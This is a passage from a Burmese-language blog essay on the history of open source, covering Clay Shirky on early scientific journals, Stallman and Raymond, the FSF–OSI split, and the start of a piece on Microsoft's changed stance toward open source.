ဒီတပိုင်းမှာတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါအုံးမယ်။ နောက်တပိုင်းမှာတော့ open source ရဲ့ ခြေရာဆက်ကောက်ပါ့မယ်။ Open source ဆိုတာ နောက်ပိုင်း နည်းပညာနယ်ပယ်မှာမှ စတင်ခဲ့တဲ့ revolution တစ်ခုလား။ ဒါမှမဟုတ် ရှိပြီးသား လူ့အဖွဲ့အစည်းထဲက စံ စနစ်တစ်လားဆိုတာကို ဆက်ပြီးတော့ အတွေးနယ်ချဲ့ချင်ပါတယ်။


# Open Source ကောက်ကြောင်း – အပိုင်း( ၂)

အရှေ့ကအပိုင်းမှာ open source နိဒါန်းဆိုပြီးတော့ World Wide Web နဲ့ Sir Tim Berners-Lee အကြောင်းတွေပဲ ပြောသွားတယ်။ ဘာကြောင့်လည်းဆိုတော့ လက်ရှိအချိန်ထိ အကျုံးဝင်ပြီး သက်သေပြစရာ open system တစ်ခုအဖြစ် သက်သေထူနေသေးလို့ပါ။ Open source ဟာ World Wide Web ကနေစတင်လာရသလားဆိုတော့။ မဟုတ်ပါဘူး။ စိတ်ဝင်စားဖို့ကောင်းတာ ၁၇ ရာစုလောက်ကတည်းက လူ့အဖွဲ့အစည်းတစ်ခုထဲမှာ open source သို့မဟုတ် openness ကိုတွင်တွင်ကျယ်ကျယ် အသုံးပြုနေပြီလို့ဆိုပါတယ်။ အရှေ့မှာ စာရေးသူ ရည်ညွှန်း ကောက်နှုတ်ထားတဲ့ npr က TED Radio Hour က Open Source World ဆိုတဲ့ အစီအစဉ်ကိုပြန်ပြီးတော့ ဆက်ပါရစေ။

Clay Shirky ဆိုတဲ့ အမေရိကန်စာရေးဆရာ တစ်ယောက်က လူတွေ online ပေါ်မှာဘယ်လိုမျိုး အပြန်အလှန် အဆက်အဆံ လုပ်ကြသလဲဆိုတာ လေ့လာပါတယ်။ သူက open source ဆိုတဲ့ အရာက ဟိုအရင်ကတည်း ၁၇ ရာစုနှစ်မှာ အင်္ဂလန်နိုင်ငံတွင်း ပေါ်ပေါက်လာခဲ့တယ်လို့ဆိုပါတယ်။ TED Talk မှာတော့ သူက သိပ္ပံဂျာနယ်တစ်ခုပြပြီးတော့ အောက်ကအတိုင်းရှင်းပြသွားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-efef90e1473824aa480273a15f7f7ec0aee27617%2FClay-Shirky.jpg?alt=media" alt=""><figcaption></figcaption></figure>

“This is the cover of Philosophical Transactions, the first scientific journal ever published in English in the middle of the 1600s. And it was created by a group of people who’d been calling themselves the invisible college – a group of natural philosophers who only later would call themselves scientists. And they wanted to improve the way natural philosophers argued with each other. And they needed to do two things for this. They needed openness. They needed to create a norm which said, when you do an experiment, you have to publish not just your claims but how you did the experiment. If you don’t tell us how you did it, we won’t trust you. But the other thing they needed was speed. They had to quickly synchronize what other natural philosophers knew, otherwise you couldn’t get the right kind of argument going. The printing press was clearly the right medium for this, but the book was the wrong tool. It was too slow. And so they invented the scientific journal as a way of synchronizing the argument across the community of natural scientists.”\
— Clay Shirky —

အနီးစပ်ဆုံး ဘာသာပြန်ရရင်တော့…

“ဒါကတော့ ၁၆၀၀ ခုနှစ် အလယ်လောက်တုန်းက အင်္ဂလန်နိုင်ငံမှာ ထုတ်ထားတဲ့ ပထမဆုံးသော သိပ္ပံဂျာနယ် Philosophical Transactions (ဒဿန ခြင်းရာများ လို့သာသာပြန်ရမယ် ထင်ပါတယ်။) ရဲ့ စာအုပ်အဖုံးပဲဖြစ်ပါတယ်။ သူတို့ကို သူတို့ Invisible College လို့ခေါ်တဲ့ သဘာဝ ဒဿန ပညာရှင် လူတစ်စုက စတင်လိုက်ပြီး၊ နောက်ပိုင်းမှာတော့ သူတို့ဟာ ကိုယ့်ဟာကို သိပ္ပံပညာရှင်များရယ်လို့ ပြောင်းလဲခေါ်ဆိုလာခဲ့ကြပါတယ်။ သူတို့ အချင်းချင်း တစ်ယောက်နဲ့ တစ်ယောက် အငြင်းအခုံလုပ်ကြတဲ့အခါ လက်ရှိမှာထက်ပိုပြီးတော့ ကောင်းမွန်အောင် စွမ်းဆောင်ကြပါတယ်။ အဲ့ဒီအတွက် သူတို့မှာ လုပ်စရာ နှစ်ခုရှိပါတယ်။ သူတို့ ပွင့်လင်းမြင်သာခြင်း ကိုလိုချင်တယ်။ သူတို့ စံချိန်စံညွှန်း တစ်ခုကို သတ်မှတ်ပေးဖို့လိုအပ်နေပြီးတော့၊ ၄င်းမှာ စမ်းသပ်မှုတစ်ခုကိုလုပ်တော့မယ်ဆိုရင် ထိုသူသည် ဤသို့ဖြစ်သည်ဟု ပြောရုံနဲ့ မလုံလောက်တော့ပဲ မည်သို့မည်ပုံ စမ်းသပ်ပုံကို ထုတ်ပြန်ရမယ်ဆိုတဲ့ စံစနစ်တစ်ခုပါ။ ထိုသို့ မည်သို့ လုပ်ပုံလုပ်နည်းကို မဖော်ပြပါက၊ အခြားသူတွေက အယုံအကြည်မရှိရလို့ ဆိုပါတယ်။ သို့သော် တပြိုင်နက်တည်းမှာပဲ အချိန်တိုတိုအတွင်းမှာ ပြီးဖို့ရာ မြန်ဆန်ဖို့လည်း လိုအပ်ပြန်ပါတယ်။ သူတို့ တစ်ယောက်သိတဲ့အရာ နောက်ပညာရှင်တစ်ယောက် အချိန်တိုအတွင်းမှာ ညီတူညီမျှ သိဖို့ရာ လိုအပ်ပါတယ်။ ဒါမှမဟုတ်ရင်တော့ စစ်မှန်တဲ့ ငြင်းခုံမှုမျိုး မရနိုင်တော့ပါဘူး။ ဒါတွေအားလုံးအတွက် ပုံနှိပ် ရိုက်ထုတ်မှုဟာ မှန်ကန်တဲ့ ကြားခံဆိုတာ ထင်သာမြင်သာရှိခဲ့ပေမယ့်လည်း၊ စာအုပ်ကတော့ လွဲမှားတဲ့ ကိရိယာတစ်ခုဖြစ်ခဲ့ပါတယ်။ အရမ်းကိုနှေးလွန်းတာကြောင့်ပါ။ အဲ့ဒါကြောင့်လည်း သူတို့ဟာ သိပ္ပံဂျာနယ် ဆိုတဲ့ဟာကို သူတို့နည်းတူ အခြားသော သဘာဝ သိပ္ပံ ပညာရှင် လူအဖွဲ့အစည်းအတွင်းမှာ ထိုအဖြေရှာ ငြင်းခုံခြင်းတွေကို တပြိုင်နက်တည်း ဖြန့်ဖို့ရာအတွက် တီထွင်လိုက်ကြပါတယ်။”\
— Clay Shirky —

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-be67ae7da719e1385e62aa97096f5cc8f69eec92%2FPhilosophical-Transactions-1-768x1052.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အထက်က Clay Shirky ပြောသွားပုံကိုထောက်ကြည့်လိုက်ရင် ၁၇ ရာစုနှစ်ကတည်း သိပ္ပံပညာရှင်တွေဟာ တစ်ကိုယ်တည်း စဉ်းစားတာထက် လူအများကြီးပါဝင်ပြီးတော့ ဝိုင်းစဉ်းစားတဲ့ openness တစ်ခုကို ရှာဖွေဖို့ရာ ပြင်ဆင်လာကြတဲ့ သဘောရှိပါတယ်။ သို့ပေမယ့်… သူဆက်ပြီးတော့ ပြောသွားပုံအရတော့ အဲ့ဒီမတိုင်ခင် အချိန်ကတော့ သိပ္ပံပညာရှင်တွေဟာ မိမိတို့သိထားသမျှ တက်ထားသမျှကို ဘယ်သူနဲ့မှ မမျှဝေပဲနဲ့ထားကြပါတယ်။ နောက်မှ အသစ်ရောက်လာတဲ့ သိပ္ပံပညာရှင်တွေအတွက်တော့ အရှေ့မှာ သူတို့ဆရာတွေ သိထားတဲ့ဟာတွေထဲမှာမှ ပြန်ပြီးတော့သင်ပေး သလောက်သာ လေ့လာဆည်းပူးရပါတယ်။ ကိုယ်ဟာကို လေ့လာချင်လို့ ဟိုစာအုပ်ရှာဖတ် ဒီစာအုပ်ရှာဖတ်ချင်လို့တောင် မရှိကြပါဘူးတဲ့။ ဘယ်လောက်တောင် သိုဝှက်လိုက်ကြသလဲ။ ဒါပေမယ့်လည်း တချိန်မှာသူတို့ သိလာတဲ့ဟာကတော့ ဒီအတိုင်းဆက်သွားရင် သူတို့နယ်ပယ်ထဲမှာ အများကြီးတိုးတက်လာစရာ မရှိဘူးဆိုတာပါပဲ။ ဒါကြောင့် ကမ္ဘာအရပ်ရပ်က သူတို့နည်းတူ သိပ္ပံနယ်ပယ်မှာ ကြင်လည်နေကြတဲ့ သူတွေနဲ့တိုင်ပင်ဆွေးနွေး ငြင်းခုံရမှ ပိုပြီးတော့ တိုးပွားစရာရှိမယ်လို့ ယုံကြည်လာကြပါတယ်။ Openness နဲ့ Open Source ဆိုတဲ့ ideology ကရှိနေပြီးသားဆိုတာအခုသိပြီး၊ နောက်တစ်ခုက အလုပ်ဖြစ်သလား လို့မေးရင် ဖြစ်လို့ပဲ အခုအချိန်ထိ work journal တွေ thesis တွေ ရေးပြီးတော့ ideas တွေကို မျှဝေကြ၊ ဖလှယ်ကြနဲ့ အခုအချိန်ထိ ထိုဝိညာဉ်က အသက်ရှိနေတုန်းလို့ဆိုရမှာပါ။

Clay Shirky နဲ့ interviewer က အမေးအဖြေကို ဒီ [Link](https://www.npr.org/transcripts/449181119) မှာသွားကြည့်လို့ရပါတယ်။ အဲ့ဒီ podcast မှာပဲ နောက်အပိုင်း သုံးပိုင်းမှာတော့ Open Source concept နဲ့ Argentina မှာ နိုင်ငံရေးလှုပ်ရှားသူတွေ ဘယ်လိုလက်တွေ့မှာ အသုံးချသလဲဆိုတာရယ်၊ အိမ်ဆောက် တဲ့အခါမှာ Architecture ပိုင်းမှာကော Open Source မှာလိုပဲ ဆွဲပြီးသား design တွေကို နောက်တစ်ယောက်က အလွယ်ကူယူပြီး အသုံးပြုနိုင်အောင်လို့ ဘယ်လိုမျှဝေသလဲဆိုတာရယ်၊ နောက်ဆုံးတစ်ခုမှာ အပျော်တမ်း ရေအောက်ရှာဖွေရေး project တစ်ခုမှာ အသုံးပြုဖို့ ရေငြုပ်သင်္ဘောအသေးစား တစ်ခုကို အစျေးအသက်သာဆုံးဖြစ်အောင် ကိုယ်တိုင် တည်ဆောက်တဲ့ အခါမှာ လိုအပ်တဲ့အစိတ်အပိုင်းတွေကို သိသလောက် ဝိုင်းဝန်း မျှဝေကြရင်နဲ့ သူတို့ရဲ့ open source community အဆင့်ဆင့် ကြီးလာပုံကို စိတ်ဝင်စားစရာ ဆက်ပြီးတော့ ရှင်းပါတယ်။ အဲ့ဒီ podcast အစအဆုံးကို နားထောင်ချင်ရင်တော့ ဒီ [Link](https://www.npr.org/programs/ted-radio-hour/449179937/open-source-world) မှာသွားပြီးတော့ နားဆင်နိုင်ပါတယ်။

အခုအချိန်ထိ အချို့လူတွေကိုယ်တက်တဲ့ပညာကို လျှို့ထားကြတာရှိနေတုန်းပါ။ Open Source ဟာ တိုးတက်မှု အဟုန်ကို အဆတိုးမြန်အောင် စွမ်းဆောင်နိုင်သလားဆိုတာ ကိုတော့လက်ရှိ စာရေးသူတို့ proprietary နဲ့ open source product တွေယှဉ်ကြည့်လိုက်ရင် ထင်ထင်ရှားရှားမြင်နိုင်မယ်လို့ထင်ပါတယ်။၊ ဥပမာတစ်ခုပြရမယ်ဆိုရင် Linux ရဲ့ open source community ဟာ နည်းပညာလောကထဲက အကောင်းဆုံးဆိုတဲ့ အရည်အချင်းရှိတဲ့သူတွေနဲ့ ဖွဲ့စည်းထားတဲ့ လူအဖွဲ့အစည်းတစ်ခုပါ။ သူတို့တစ်ယောက်ချင်းစီရဲ့ ထက်မြက်မှုကြောင့် စာရေးသူတို့ docker တို့ kubernete တို့ကို Linux ပေါ်မှာ native run လို့ရပါတယ်။ Windows မှာ run ချင်ရင်တော့ Linux kernel တစ်ခုကို ကြားခံအနေနဲ့ လိုအပ်ပါလိမ့်မယ်။ ဒီတစ်ခုတည်းနဲ့တင် open source ဘက်မှာ အရှိန်ကောင်းခဲ့သလဲဆိုတာကို မှန်းဆလို့ကြည့်နိုင်ပါတယ်။

### Software Development က Open Source ဟုစတင်လာပုံအကျဉ်း

စာရေးသူ အရှေ့မှာ open source ဆိုပြီးတော့ တောက်လျှောက်သုံးနှုန်းလာဖြစ်ပါတယ်။ ဘာဖြစ်လို့လဲဆိုတော့ အားလုံးလည်း ရင်းနှီးပြီးသားအသုံးအနှုံး တစ်ခုဖြစ်နေလို့ပဲဖြစ်ပါတယ်။ မသိသေးရင်တော့လည်း အခုလောက်ထိဖတ်လာပြီးပြီဆိုရင်ဖြင့် သိသင့်သလောက်တော့ ရိပ်ဖမ်းသံဖမ်း ရှိလိမ့်မယ်တော့ စာရေးသူ မျှော်လင့်ပါတယ်။ အမှန်တကယ်တော့ software developer တွေကြားမှာ open source လို့မခေါ်ခင်က Richard Stallman (RMS) ကြီးရဲ့ Free Software Movement ကနေတဆင့်ဆင်းသက်လာလို့ Free Software ဆိုပြီးတော့ တချိန်က ခေါ်ဆိုခဲ့ကြပါတယ်။ နောက်ပိုင်းမှာတော့ Free ဆိုတဲ့ အသုံးအနှုံးက အဓိပ္ပာယ် နှစ်မျိုးထွက်နေလို့ open source software ဆိုပြီး ခေါ်ဆိုလာကြတာအခုထိတိုင်အောင်ပါပဲ။ အခုတော့ open source ဆိုပြီးတော့ လူသိများလာပါတယ်။ Free Software ကနေ open source ရယ်လို့ software developer တွေကြားမှာ အသိများအောင် advocate လုပ်တဲ့သူတွေရှိပါတယ်။ သူတို့အဖွဲ့ကပဲ နောက်ပိုင်းမှာ open source initiative ဆိုတဲ့ brand name နဲ့ open source software တွေကို ဆက်ပြီးတော့ advocate လုပ်ပါတယ်။ သူတို့အဖွဲ့ထဲက Eric Steven Raymond (ESR လို့လည်းအတိုကောက်သိကြပါတယ်။) ဆိုရင် The Cathedral and the Bazaar စာအုပ်ရေးသားခဲ့တဲ့ အမေရိကန် software developer စာရေးဆရာ တစ်ယောက်လည်းဖြစ်ပါတယ်။ သူ့ရဲ့ စာအုပ်ကတော့ software developer တွေကြားမှာ စတင်ထုတ်ဝေကတည်း တော်တော်လေးကို ရေပန်းစားခဲ့တဲ့ စာအုပ်လည်းဖြစ်ပါတယ်။ စာအုပ်ရဲ့ အကြောင်းအရာကတော့ software development model နှစ်ခု ကွာခြားပုံ ကိုအသေးစိတ် ဆွေးနွေးထားဖြစ်တဲ့ အတွက် စိတ်ဝင်စားဖို့တော်တော်လေးကို ကောင်းပါတယ်။ သူက GNU Emacs နဲ့ GCC လိုမျိုး software တွေကို the Cathedral model (ခမ်းနားလွန်းလှတဲ့ ဘုရားကျောင်းတော်ကြီး) နဲ့ နှိုင်းယှဉ်ပြီးတော့ Linux kernel လိုမျိုး internet ပေါ်မှာ publicly မျှဝေထားတဲ့ software project တွေကိုတော့ the Bazaar model (အများသူငှာ ပျော်ပျော်ပါးပါး လွတ်လွတ်လပ်လပ် လာရောက်လည်ပတ်နိုင်တဲ့ စျေးဆိုင်တန်းလေး) နဲ့ နှိုင်းယှဉ်ထားတာပဲဖြစ်ပါတယ်။ the Cathedral model မှာတော့ software release တစ်ခုထွက်တဲ့အခါမှသာ သူ့ရဲ့ source code ကို software အတူ release လုပ်တာဖြစ်ပါတယ်။ အဲ့ဒီ release တစ်ခုနဲ့တစ်ခု ကြားမှာတော့ ဘာ source code မှ public ကို မချပြပဲနဲ့ အတွင်းမှာရှိတဲ့ အခရာကျတဲ့ developer တွေသာ access လုပ်နိုင်ပါတယ်။ the Bazaar model မှာတော့ software project တစ်ခုစတင်ကတည်းက စလယ်ဆုံး အကုန်လုံးကို public ကိုချပြပြီးတော့ တက်နိုင်တဲ့သူ တွေအကုန်လုံး ဝိုင်းပြီးရေးကြတဲ့ Linux kernel လို project မျိုးနဲ့ ဥပမာပြပါတယ်။ programmer ကောင်းတစ်ယောက်ဖြစ်ဖို့ကို လိုအပ်တဲ့ ကျင့်ဝတ်တွေနဲ့ စိတ်ဓာတ်ကျင့်စဉ်တွေကိုလည်း အသေးစိတ် ချဲ့ကားပြီးတော့ ရှင်းပြထားတာစိတ်ဝင်စားဖွယ်ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a26a70cdbd356667f5275f51642baaa24908dea1%2FCathedral-and-the-Bazaar-book-cover.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Eric Steven Raymond လိုပဲ အခြားသော သူနဲ့အတူ open source ကို advocate လုပ်တဲ့ သူတွေလည်း ရှိပါတယ်။ Linus Torvalds ကလည်း open source software ဆိုတာကို လက်ခံပါတယ်။ အစပိုင်းမှာတော့ Richard Stallman (RMS) လည်း open source ဆိုတာလက်ခံခဲ့ပါတယ်။ နောက်ပိုင်းမှာတော့ free software လို့သာဆက်လို့ ခေါ်သင့်ကြောင်းဆိုလာပြန်ပါတယ်။ Freedom ကလာတဲ့ free ကိုဆိုလိုတာဖြစ်ပြီးတော့ အလကားသောက်ရတဲ့ free beer လိုမျိုး မဟုတ်ဘူးလို့ဆိုပါတယ်။ Richard Stallman ကြီး open source နဲ့ free software ဟာ သဘာဝလည်း မတူသာကြောင့် မရောချသင့်ဘူးဆိုပြီးလည်း သူ့ရဲ့ interview တော်တော်များများမှာဆိုပါတယ်။ သူ့ကို လူ့ဂွစာ တစ်ယောက်အနေနဲ့ နည်းပညာသမားတွေက သိထားကြပါတယ်။ ဟိုတလောကပဲ သူမဆင်မခြင် ပြောဆိုမှုတွေကြောင့် Free Software Foundation နဲ့ MIT ကနေပြီးတော့ နှုတ်ထွက်ဖို့ကို လူတွေက ဝိုင်းပြီးတော့ ဖိအားပေးခြင်းကိုခံခဲ့ရပါတယ်။ စာရေးသူကတော့ Richard Stallman ကြီးကို Free Software / Open Source Software ဆိုတာကို အသက်သွင်းပေးလိုက်တာတစ်ခုတည်းနဲ့ကို ကျေးဇူးတင်ရမယ်လို့ မြင်မိပါတယ်။ တချို့လည်း သူ့ကို ခါးခါးသီးသီးဖြစ်နေတာကို တဘက်ကနေပြန်ပြီးတော့ လက်ခံပေးရမှာပါပဲ။ ဒီလူလုပ်ပေးခဲ့လို့ နောင်လာနောင်သားတွေ open source အတွက် လမ်းပွင့်သွားတာဆိုလည်း မလွန်ဘူးလို့ထင်ပါတယ်။

### Free Software Foundation (FSF) နဲ့ Open Source Initiative (OSI) ထိပ်တိုက်

သူတို့နှစ်ခုလုံးဟာ တစ်လမ်းတည်းကိုလျှောက်လှမ်းကြတဲ့ အမြင်မတူလို့၊ အတ္တလေးတွေ အပြန်အလှန်ကိုင်ဆောင်ထားလို့ မတည့်နိုင်သေးတဲ့ ညီအကိုတွေပါ။ ယုံကြည်ချက်ခြင်းတူပေမယ့်၊ ချဉ်းကပ်ပုံခြင်းကွာလို့ tribalism လို့ခေါ်တဲ့ ကိုယ့်အဖွဲ့ ကိုယ်အသင်းနဲ့သာ သီးသန့် သတ်သတ်စီ နေထိုင်ကြပြီး၊ ကိုယ့်ဟာမှ ကိုယ့်ဟာ အကောင်းမြင်တတ်တဲ့ ကိစ္စလေးတွေအများကြီးရှိခဲ့ကြပါတယ်။ ရေပူရအားဖြင့် Open Source Initiative (OSI) ရဲ့ ချဉ်းကပ်ပုံက ပိုပြီးတော့ ငြင်ငြင်သာသာရှိပါတယ်။ Free Software Foundation ကို ဦးဆောင်တဲ့ Richard Stallman ကတော့ Free Software ဖြစ်ဖို့ရာအတွက် အချက်ကြီးလေးချက်လိုအပ်တယ်လို့ဆိုပါတယ်။ အဲ့ဒီ အချက်တွေကို အခြေခံပြီးတော့ GNU GPL ကို သတ်မှတ်ပေးပါတယ်။ Open Source Initiative (OSI) ကတော့ business friendly ဖြစ်တဲ့ ချဉ်းကပ်ပုံနဲ့ အခြေခံအုတ်မြစ် ၁၀ ခုကိုသတ်မှတ်ပါတယ်။ ပြီးတော့ သက်ဆိုင်ရာ software license အမျိုးအစားတွေကို ထပ်ပြီးတော့ ချမှတ်ပေးပါတယ်။ အလျှော့အတင်း ကတော့ သူတို့ license အမျိုးအစား တစ်ခုချင်းစီမှာရှိပါတယ်။ ဒါလေးတွေကိုလည်း အပြန်အလှန် လက်ညိုးထိုးပြီးတော့ ထောက်ပြဝေဖန်ခဲ့ကြပါတယ်။ နှစ်ဖွဲ့လုံးဘက် software development ဘက်မှာကောင်းစေလိုတဲ့ စိတ်နဲ့ တည်ဆောက်လာခဲ့ကြတာပါ။ တခါတလေတော့လည်း အမှန်အမှား အဖြူအမဲ ဆိုပြီးပဲရှိတာမဟုတ်ပါဘူး။ အဲ့ဒီနှစ်ခုကြားထဲမှာ အရောင်စုံရှိနိုင်တဲ့ သက်တန့်ရောင်စင်တန်းလိုလည်း အဖြေအများကြီးရှိနိုင်တာကို စာရေးသူတို့လက်ခံ နိုင်ရမှာပါ။ နောက်ပိုင်းမှာတော့ ဒီလိုမလိုအပ်တဲ့ conflict တွေရှိနိုင်တာကြောင့် Free and Open-source Software (FOSS)၊ တဖန် Free ဆိုတာကို ပိုမိုရှင်းစေလိုလို့ Free/Libre and Open-source Software (FLOSS) ဆိုပြီးတော့ အမျိုးမျိုးမှည့်ခေါ်ကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e9d34992cd4baecf472b078ce606ced2bddd7692%2Ftribalism.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီလောက်ထိ open source ဆိုတဲ့အရာကို ဇစ်မြစ်လိုက်ပြီးတဲ့နောက်၊ အားလုံးလည်း စိတ်ကျေနပ်မယ်လို့ထင်ပါတယ်။ Open-source နဲ့ ပတ်သတ်ပြီး ဆွေးနွေးစရာတွေကတော့ အများကြီးပါ။ အပြောလွယ်သလောက် အကျယ်ချဲ့ရေးရင် သမုဒ္ဒရာ ပမာ ကျယ်ပျောလွန်းပါတယ်။ ဒီ post မှာတော့ Open Source World ဆိုတဲ့ podcast လေးတစ်ခုကနေ ကောက်နှုတ်ပြီးတော့ စာရေးသူ ချရေးထား အရာလေးတွေပါ။ ဒီမှာပဲ Open Source ကောက်ကြောင်းကို နှစ်ပိုင်းထဲနဲ့ရပ်လိုက်ပါတော့မယ်။


# “မှားတဲ့ဘက်မှာ” – အပိုင်း (၁)

စာရေးသူတို့ ငယ်ငယ်တုန်းက အလွန်ကြိုက်တဲ့ သီချင်းတစ်ပုဒ် ရှိခဲ့ပါတယ်။ ခေါင်းစဉ်မှာပါတဲ့အတိုင်း ဆရာ စောဘွဲ့မှူး ရေးဖွဲ့ထားတဲ့ “မှားတဲ့ဘက်မှာ” ဆိုတဲ့ သီချင်းပါ။ ဆရာ စောဘွဲ့မှူးတို့ကို မမှီပေမယ့်လည်း သူ့ရဲ့ သီချင်းလေးတွေနဲ့ ကြီးပြင်းလာရတဲ့ စာရေးသူတို့ ငယ်ငယ်တုန်းတုန်းက ဘဝမှာ သူ့သီချင်းထဲ တည်ဆက်ပြီးတော့ ဆိုထားတဲ့ ဒဏ္ဍရီပုံပြင်ဆန်ဆန် စာသားလေးတွေနဲ့မို့ ရင်ဘတ်ထဲမှာ ခံစားလာတတ်ရတာပါ။ ခံစားချက် ခပ်ဆန်းဆန်းလေးတွေ ပေးတတ်တာကြောင့် ကလေးတစ်ယောက် အနေနဲ့ အားလုံး နားမလည်သေးသော်လည်း ပုံပြင်ကလေးတစ်ပုဒ်ကို နားထောင်နေရသလိုမျိုး ခံစားရတာကြောင့် လူကြီးတွေ အဲ့ဒီသီချင်းတွေကို ဖွင့်တိုင်း ငြိမ်ငြိမ်လေး လိုက်ပြီးတော့ နားထောင်ခဲ့ရာကနေပြီးတော့ အဲ့ဒီသီချင်းတွေနဲ့ပဲ ကြီးပြင်းခဲ့ရတာပဲဖြစ်ပါတယ်။ ဥပမာ ဆရာစောဘွဲ့မှူးရဲ့ နောက်သီချင်းတစ်ပုဒ်ဖြစ်တဲ့ “ကိုပေါ” ဆိုတဲ့သီချင်းဆိုရင် ကြေကွဲစရာ ပုံပြင်တိုတစ်ပုဒ်ကို ခပ်မြူးမြူးလေး ဆိုပြသွားတဲ့ လက်ရာပါပဲ။ ပြီးတော့… ဒဿနလေးတွေ အချစ်သီချင်းလေးတွေကို ဖွဲ့ဆိုတတ်တဲ့ ထူးအိမ်သင် သီချင်းတွေကို မြတ်နိုးတတ်လာခဲ့ပြန်ပါတယ်။ အဲ့ဒီနောက်မှာတော့… နောက် မျိုးဆက်သစ်တစ်ခု ဖြစ်တဲ့ Iron Cross (IC) ရဲ့ လေးဖြူ၊ အငဲ၊ မျိုးကြီး တို့ရဲ့ ခပ်ပြင်းပြင်း rock အချစ်သီချင်း တွေနဲ့ လူပျိုဘဝကို ဖြတ်သန်းရပြန်တယ်ပေါ့။ အဲ့ဒီနောက်မှာတော့ အထက်တန်း ကျောင်းသားဘဝ ခပ်ကြောင်ကြောင် ပေါက်တတ်ကရ ဒိုးလုံး ရဲ့ မြန်မာလူမှုအဆင့်အတန်းနဲ့ သင့်တော်တဲ့ မြန်မာမှုပြုထားတဲ့ alternative လေးတွေကို အရိုးများထိအောင်ရူးရ ပါရော။ မရှေးမနှောင်းမှာပဲ ဘယ်ကမှန်းမသိတဲ့ အဆိုတော်ကြီး ရင်ဂိုရဲ့ သားတော်မောင် ဟန်ထူးလွင် (ခေါ်) ကျားပေါက် မိတ်ဆက်ပေးတဲ့ Guitar ကို round chord သုံးကွက်ကိုင် လေးကွက်ကိုင် ထင်ရာဆိုင်း punk တွေနဲ့ စာရေးသူ “ပိုးဟပ်” ဘဝမှာ တော်တော်လေး ဟိုရောက်ဒီရောက် ဖြစ်ခဲ့ရပြန်ပါတယ်။ အခုနောက်ပိုင်းမှာတော့ သီချင်းတွေနားမထောင် ဖြစ်တာတော်တော်လေးကို ကြာနေပါပြီ။ စာရေးသူလည်း ခေတ်နဲ့ ရင်ဘောင်တန်းပြီးတော့ နောက်ထွက်သီချင်းတွေကို နားထောင်ဖြစ်အောင် ကြိုးစားသော်လည်း ရင်ဘတ်ထဲမဝင်တော့တာကြောင့် ဆက်ပြီးတော့ နားမထောင်ဖြစ်တော့ပါ။ စတတ် နောက်တတ်တဲ့ မိတ်ဆွေတွေကတော့ အဲ့ဒါ အသက်ကြီးသွားလို့တဲ့။ မည်သို့ပင်ဖြစ်စေကာမူ… ဒီတလော သီချင်းဟောင်းလေးတွေကို နားထောင်ချင် ဆန္ဒရှိတာနဲ့ ပြန် နားထောင်ဖြစ်နေတုန်းပါ။ အဲ့ဒီထဲမှာ… “မှားတဲ့ဘက်မှာ” ဆိုတာကိုလည်း ပြန်နားထောင်ဖြစ်လို့ ဒီတလော စာရေးသူတို့ tech industry မှာလည်း ဖြစ်ပျက်နေတဲ့ အကြောင်းအရာ တစ်ခုနဲ့ သွားပြီး တိုက်ဆိုင်နေတာရှိလို ဒီ စာရေးဖို့ဖြစ်လာတယ်လို့ ဆိုရမှာပါပဲ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6fa262d3de00f954c74f2ed12fbeb4d3e872b803%2FSteve-Ballmer-Ex-CEO-768x584.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4cfb6b4831976d2714b7a7ce4df85b3c8e47c6b5%2FBrad-Smith-Microsoft-1.jpg?alt=media" alt=""><figcaption></figcaption></figure>

လွန်ခဲ့တဲ့ ၂ ပတ်လောက်က Microsoft ရဲ့ လက်ရှိ president ဖြစ်သူ Brad Smith က interview တစ်ခုမှာအခုလိုပြောခဲ့ပါ။ “ရာစုနှစ်အစမှာ Open source ဆိုပြီးတော့ အရှိန်ကောင်းနေတဲ့အချိန် Microsoft ဟာ သမိုင်းရဲ့ မှားတဲ့ဘက်မှာ နေခဲ့ကြတယ်။” နောက်ပြီးတော့ ထပ်ပြောသွားတဲ့စကားကတော့ “သတင်းကောင်းတစ်ခုကတော့ ရှည်ကြာတဲ့ဘဝ တစ်သက်တာဖြစ်ခဲ့မယ်ဆိုရင်တော့ ခင်ဗျား ပြောင်းလဲချိန်တန်ပြီဆိုတာကို ခင်ဗျားသင်ယူနိုင်ပါလိမ့်မယ်။” စာရေးသူ ပထမစပြီးတော့ အဲ့ဒီသတင်းကို ကြားခါစက နည်းနည်းတောင်ကြောင်သွားတယ်။ လက်ရှိ Microsoft ရဲ့ president ပြောနေတာလား၊ ဟိုအရင်တုန်း president လုပ်ခဲ့တဲ့ တစ်ယောက်ပြောနေတာလားဆိုတာကို မသဲကွဲလို့ပါ။ နောက်တော့မှ… သတင်းတွေသေချာလိုက်ဖတ်ကြည့်လိုက်တော့မှ Microsoft ရဲ့ လက်ရှိ president ဆိုတာကို သေချာသွားပါတော့တယ်။ အဲ့ဒီလိုမျိုး Microsoft ဘက်က ဝင်ခံတဲ့ စကားမျိုးကို တချိန်တုန်း Microsoft ရဲ့ CEO ဖြစ်တဲ့ Steve Ballmer လည်းပြောခဲ့ဘူးလို့ပါ။ ထို Steve Ballmer ဆိုတဲ့ ပုဂ္ဂိုလ်ကတော့ တချိန်တုန်းက Linux ကို ကွန်မြူနစ် သူခိုးတွေ၊ open source ဟာ 